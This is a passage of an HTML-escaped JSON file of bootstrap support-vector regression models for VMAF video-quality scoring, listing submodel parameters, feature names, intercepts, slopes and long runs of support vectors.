4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.62437406 2:1 3:0.18559792 4:0.41535212 5:0.50422336 6:0.56173557 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.96968854 2:0.08765484 3:0.77391346 4:0.95596295 5:0.97544784 6:0.98405871 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n2.470354597030938 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;5&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.02859\nSV\n4 1:0.87062235 2:0.49739676 3:0.53966638 4:0.77392585 5:0.84784447 6:0.89031641 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 1:0.30512267 2:0.42532178 3:0.18976794 4:0.30662908 5:0.34637104 6:0.3661022 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.79740378 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.54792627 2:0.055921852 3:0.26207179 4:0.59416461 5:0.75957205 6:0.82870539 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.73166122 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n4 1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.75700132 2:1 3:0.28883701 4:0.65284485 5:0.75623242 6:0.81297442 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n3.364458180636829 1:0.67721467 2:0.49739676 3:0.37192301 4:0.52750491 5:0.62426522 6:0.6929947 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n4 1:0.67482533 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n-4 1:0.78583004 2:0.48885268 3:0.4012577 4:0.70792536 5:0.80063653 6:0.85083872 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.7890525 2:0.20820673 3:0.3510016 4:0.74206651 5:0.83508543 6:0.88101902 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.85355434 2:0.34681232 3:0.18754744 4:0.83526909 5:0.90421808 6:0.93421072 \n4 1:0.91737037 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.87998127 2:0.15600331 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\n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-3.631578518804549 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n-4 1:0.6566649 2:0.54342577 3:0.18169045 4:0.51611903 5:0.62179755 6:0.68216176 \n-4 1:0.47722492 2:0.014623935 3:0.75468972 4:0.76017077 5:0.83753774 6:0.92265059 \n-4 1:0.72816168 2:0.047285912 3:0.47217411 4:0.83138845 5:0.8704229 6:0.88419439 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-4 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2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n-4 1:0.67850561 2:0.20629643 3:0.19487894 4:0.63045155 5:0.76931142 6:0.83706632 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.74425089 2:0.014623935 3:0.78900741 4:0.90386551 5:0.96905764 6:0.98466408 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n-4 1:0.71258735 2:0.22767235 3:0.1864032 4:0.58471122 5:0.67581508 6:0.72558613 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.93011029 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 5:0.86183239 6:0.88618408 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n-4 1:0.70532989 2:0.54342577 3:0.18169339 4:0.50290989 5:0.59875259 6:0.65332628 \n-4 1:0.93556416 2:0.58937038 3:0.65797705 4:0.87169952 5:0.92200942 6:0.94454256 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.40588686 2:0.42532178 3:0.20589097 4:0.35241209 5:0.40358156 6:0.42577381 \n-0.890943140113851 1:0.93181136 2:0.49739676 3:0.62713449 4:0.86099016 5:0.91514168 6:0.94169199 \n-4 1:0.69605554 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-0.09917300877593396 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.73288362 2:0.48885268 3:0.38858001 4:0.69395818 5:0.80318832 6:0.85946067 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n4 1:0.62349716 2:0.42532178 3:0.27349745 4:0.5196735 5:0.60339149 6:0.65103342 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.5724789 2:0.014623935 3:0.77708563 4:0.84258654 5:0.91016348 6:0.95440359 \n-4 1:0.74598388 2:0.16787772 3:0.57222383 4:0.74405775 5:0.79993424 6:0.82484891 \n-4 1:0.3070772 2:0.93973481 3:0.18757116 4:0.34864297 5:0.3777168 6:0.38922611 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.86064316 2:0.08765484 3:0.62680052 4:0.88208508 5:0.93041565 6:0.9505376 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.6092064 2:0.58937038 3:0.34931828 4:0.4519606 5:0.54893247 6:0.61355219 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.4688131 2:0.34681232 3:0.041939301 4:0.45284872 5:0.5157613 6:0.55335821 \n4 1:0.67544021 3:0.19261438 4:0.76066415 5:0.89973293 6:0.93660362 \n1.694205720739004 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.72960023 2:0.93973481 3:0.29554025 4:0.64471949 5:0.72634443 6:0.77062686 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.69816754 2:0.34681232 3:0.11526222 4:0.68549511 5:0.78556255 6:0.83507583 \n4 1:0.68660174 3:0.20657211 4:0.81196884 5:0.94140702 6:0.96680805 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    },
    &quot;6&quot;: {
        &quot;param_dict&quot;: {
            &quot;C&quot;: 4.0,
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;norm_type&quot;: &quot;clip_0to1&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;num_models&quot;: 21,
            &quot;nu&quot;: 0.9,
            &quot;gamma&quot;: 0.04
        },
        &quot;model_dict&quot;: {
            &quot;score_transform&quot;: {
                &quot;p2&quot;: -0.00705305,
                &quot;out_gte_in&quot;: &quot;true&quot;,
                &quot;p0&quot;: 1.70674692,
                &quot;p1&quot;: 1.72643844
            },
            &quot;feature_dict&quot;: {
                &quot;VMAF_integer_feature&quot;: [
                    &quot;vif_scale0&quot;,
                    &quot;vif_scale1&quot;,
                    &quot;vif_scale2&quot;,
                    &quot;vif_scale3&quot;,
                    &quot;adm2&quot;,
                    &quot;motion2&quot;
                ]
            },
            &quot;norm_type&quot;: &quot;linear_rescale&quot;,
            &quot;score_clip&quot;: [
                0.0,
                100.0
            ],
            &quot;feature_names&quot;: [
                &quot;VMAF_integer_feature_adm2_score&quot;,
                &quot;VMAF_integer_feature_motion2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale0_score&quot;,
                &quot;VMAF_integer_feature_vif_scale1_score&quot;,
                &quot;VMAF_integer_feature_vif_scale2_score&quot;,
                &quot;VMAF_integer_feature_vif_scale3_score&quot;
            ],
            &quot;intercepts&quot;: [
                -0.3092981927591963,
                -1.778561646908718,
                -0.003017198086831897,
                -0.1728125095425364,
                -0.5294309090081222,
                -0.7577185792093722,
                -1.083428597549764
            ],
            &quot;model_type&quot;: &quot;BOOTSTRAP_LIBSVMNUSVR&quot;,
            &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 212\nrho -1.08406\nSV\n-0.8743350082444694 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n-4 1:0.82949905 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.98791521 2:0.04579546 3:0.90293444 4:0.99181622 5:0.99642641 6:0.9978864 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.77998422 2:0.49739676 3:0.43832146 4:0.63397606 5:0.7240692 6:0.78367237 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n4 1:0.4730794 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.89192404 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-3.364281862347453 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.75664435 2:0.54342577 3:0.22334634 4:0.60145902 5:0.70573225 6:0.76318544 \n4 1:0.85355434 2:0.34681232 3:0.18754744 4:0.83526909 5:0.90421808 6:0.93421072 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.57308967 2:0.055921852 3:0.29301498 4:0.67070014 5:0.83429953 6:0.89348041 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n-4 1:0.71777065 2:0.08765484 3:0.47011786 4:0.66069877 5:0.75226598 6:0.80539407 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.37392021 2:1 3:0.10644455 4:0.21484368 5:0.25587544 6:0.27527817 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n-4 1:0.88260358 2:0.083369236 3:0.57279245 4:0.85249389 5:0.91751611 6:0.94621989 \n4 1:0.67227079 2:0.22767235 3:0.19328493 4:0.60107975 5:0.69684945 6:0.74949279 \n-4 1:0.75331875 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n4 1:0.4197563 2:0.20629643 3:0.10015785 4:0.36799816 5:0.4733947 6:0.55804832 \n4 1:0.9418574 2:0.08765484 3:0.72226864 4:0.93291747 5:0.960644 6:0.97304054 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.83017845 2:0.16787772 3:0.64309172 4:0.86078024 5:0.90892223 6:0.92908907 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n4 1:0.69386127 3:0.2174879 4:0.84423613 5:0.9662906 6:0.98430594 \n-4 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.61928338 2:0.22767235 3:0.15963705 4:0.51010642 5:0.59283393 6:0.63883591 \n4 1:0.89725962 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.99718538 2:0.014623935 3:1 4:1 5:1 6:1 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n-4 1:0.74999802 2:0.08765484 3:0.52069978 4:0.74484555 5:0.83431246 6:0.87935204 \n-4 1:0.80929502 2:0.08765484 3:0.52947327 4:0.7501341 5:0.82294191 6:0.86264385 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n4 1:0.66051984 2:0.58937038 3:0.40045124 4:0.55415203 5:0.66628031 6:0.73418465 \n4 1:0.98644504 2:0.055921852 3:0.7405327 4:0.96928567 5:0.9853799 6:0.99080378 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.56142653 2:0.49739676 3:0.24752355 4:0.28326524 5:0.33261781 6:0.37104424 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n4 1:0.71492133 2:0.42532178 3:0.31296983 4:0.60525302 5:0.69243388 6:0.7432587 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.73710984 2:0.23066177 3:0.49544357 4:0.66648649 5:0.76052819 6:0.81482311 \n4 1:0.68521786 2:0.58937038 3:0.35481019 4:0.45269287 5:0.53578336 6:0.59116487 \n-4 1:0.77121222 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n4 1:0.39257764 2:0.22767235 3:0.12019254 4:0.3951559 5:0.44657802 6:0.46771549 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.71167822 2:0.014623935 3:0.78422805 4:0.88268036 5:0.94383829 6:0.96596858 \n-0.2575443588609431 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n4 1:0.80993214 2:0.15600331 3:0.13401869 4:0.75274384 5:0.8506531 6:0.89321405 \n-4 1:0.54042467 2:0.15600331 3:0.046271684 4:0.4328793 5:0.5309142 6:0.59282089 \n4 1:0.57348929 2:0.42532178 3:0.24033766 4:0.43855753 5:0.50243186 6:0.53322825 \n-4 1:0.69891028 2:0.20820673 3:0.26679137 4:0.55816547 5:0.65579282 6:0.71593631 \n4 1:0.78333908 2:0.20629643 3:0.24707248 4:0.72284103 5:0.83178838 6:0.88053503 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.94938914 2:0.055921852 3:0.61526026 4:0.94655706 5:0.97211195 6:0.98210701 \n4 1:0.87998127 2:0.15600331 3:0.1625414 4:0.81948421 5:0.90185357 6:0.9347395 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n4 1:0.29443857 2:0.055921852 3:0.19401703 4:0.41679982 5:0.61495039 6:0.74140301 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.79342163 2:0.16787772 3:0.60849279 4:0.80724494 